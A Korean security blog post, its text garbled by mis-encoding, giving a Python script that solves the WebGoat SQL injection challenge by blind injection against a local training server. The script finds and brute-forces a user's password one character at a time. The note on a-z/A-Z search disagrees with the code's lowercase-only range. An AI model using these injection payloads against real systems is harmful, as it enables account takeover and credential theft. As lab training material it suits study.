๐Ÿค–์ •๋ณด๋ณด์•ˆ/โค๏ธ๋ ˆ๋“œํŒ€

[ํŒŒ์ด์ฌ] WebGoat Brute Force ํŒŒ์ด์ฌ ์ฝ”๋“œ

TwoIceFish 2019. 4. 28. 00:54

import requests

password = str()
cre = "created"
url = "http://localhost:8080/WebGoat/SqlInjection/challenge"
cookie = {'JSESSIONID':'8B10E84050C998DD12174E500DBA38F6'}

print ('[*] Get password length...')
password_length = int()

for length in range(1,30):
    datas = {'username_reg' : "tom' and length(password) = %d and '1'='1" % length,  'email_reg' : 'test@test.com', 'password_reg' : '1111', 'confirm_password_reg' : '1111'}

    r = requests.put(url,datas,cookies=cookie)
    password_length+=1
   
    if 'created' in r.content.decode():
        print(password_length)
        continue

    if 'exists' in r.content.decode():
        break

    if "Internal Server Error" in r.content.decode():
        print("SQL ERROR")
        print(r.text)
        break
   
print ('[!] Done!!!')
print ("[*] Length of password id %d" % password_length)
print ('[*] Hack the password')

for i in range(1, password_length +1 ):
    for c in range(0x61,0x7b):

        payload = "tom' and substr(password, %d, 1) = '%c' and '1'='1" % (i, c)
        data = {'username_reg': payload, 'email_reg' : 'test@test.com', 'password_reg' : '1111', 'confirm_password_reg' : '1111'}
        r = requests.put(url,data,cookies=cookie)
     
        print(r.content.decode())
        print(password)
        
        if 'created' in r.content.decode():
            continue

        if 'different' in r.content.decode():
            password += chr(c)
            break
        
        if 'Internal Server Error' in r.content.decode():
  
            continue

print ("[*] Tom's pw : %s" % password)

request ํŒจํ‚ท์„ challenge์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ณด๋‚ธ๋‹ค. ID ๋ถ€๋ถ„์— blind sql injection์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ธ๋‹ค. response ํŒจํ‚ท์œผ๋กœ ๋ณธ๋ฌธ ๋‚ด์šฉ์ค‘์— created ๋˜๋Š” exists ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„๊ฒฝ์šฐ ๋‹ค์Œ ๋กœ์ง์„ ์ฒ˜๋ฆฌํ•œ๋‹ค. ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ธํ›„ Brute Force๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค. a~zA~z ๋ฌธ์ž์˜ ๋ฒ”์œ„๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํƒ์ƒ‰ํ•œ๋‹ค. ๋ฌธ์ž ๋น„๊ต sql ์„ ๋งŒ๋“ค์–ด blind injection์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. response์˜ ํŒจํ‚ท ๋‚ด์šฉ์„ ํ†ตํ•ด ์‘๋‹ต์„ ํŒ๋‹จํ•˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์•„๋‚ด๊ฒŒ ๋œ๋‹ค.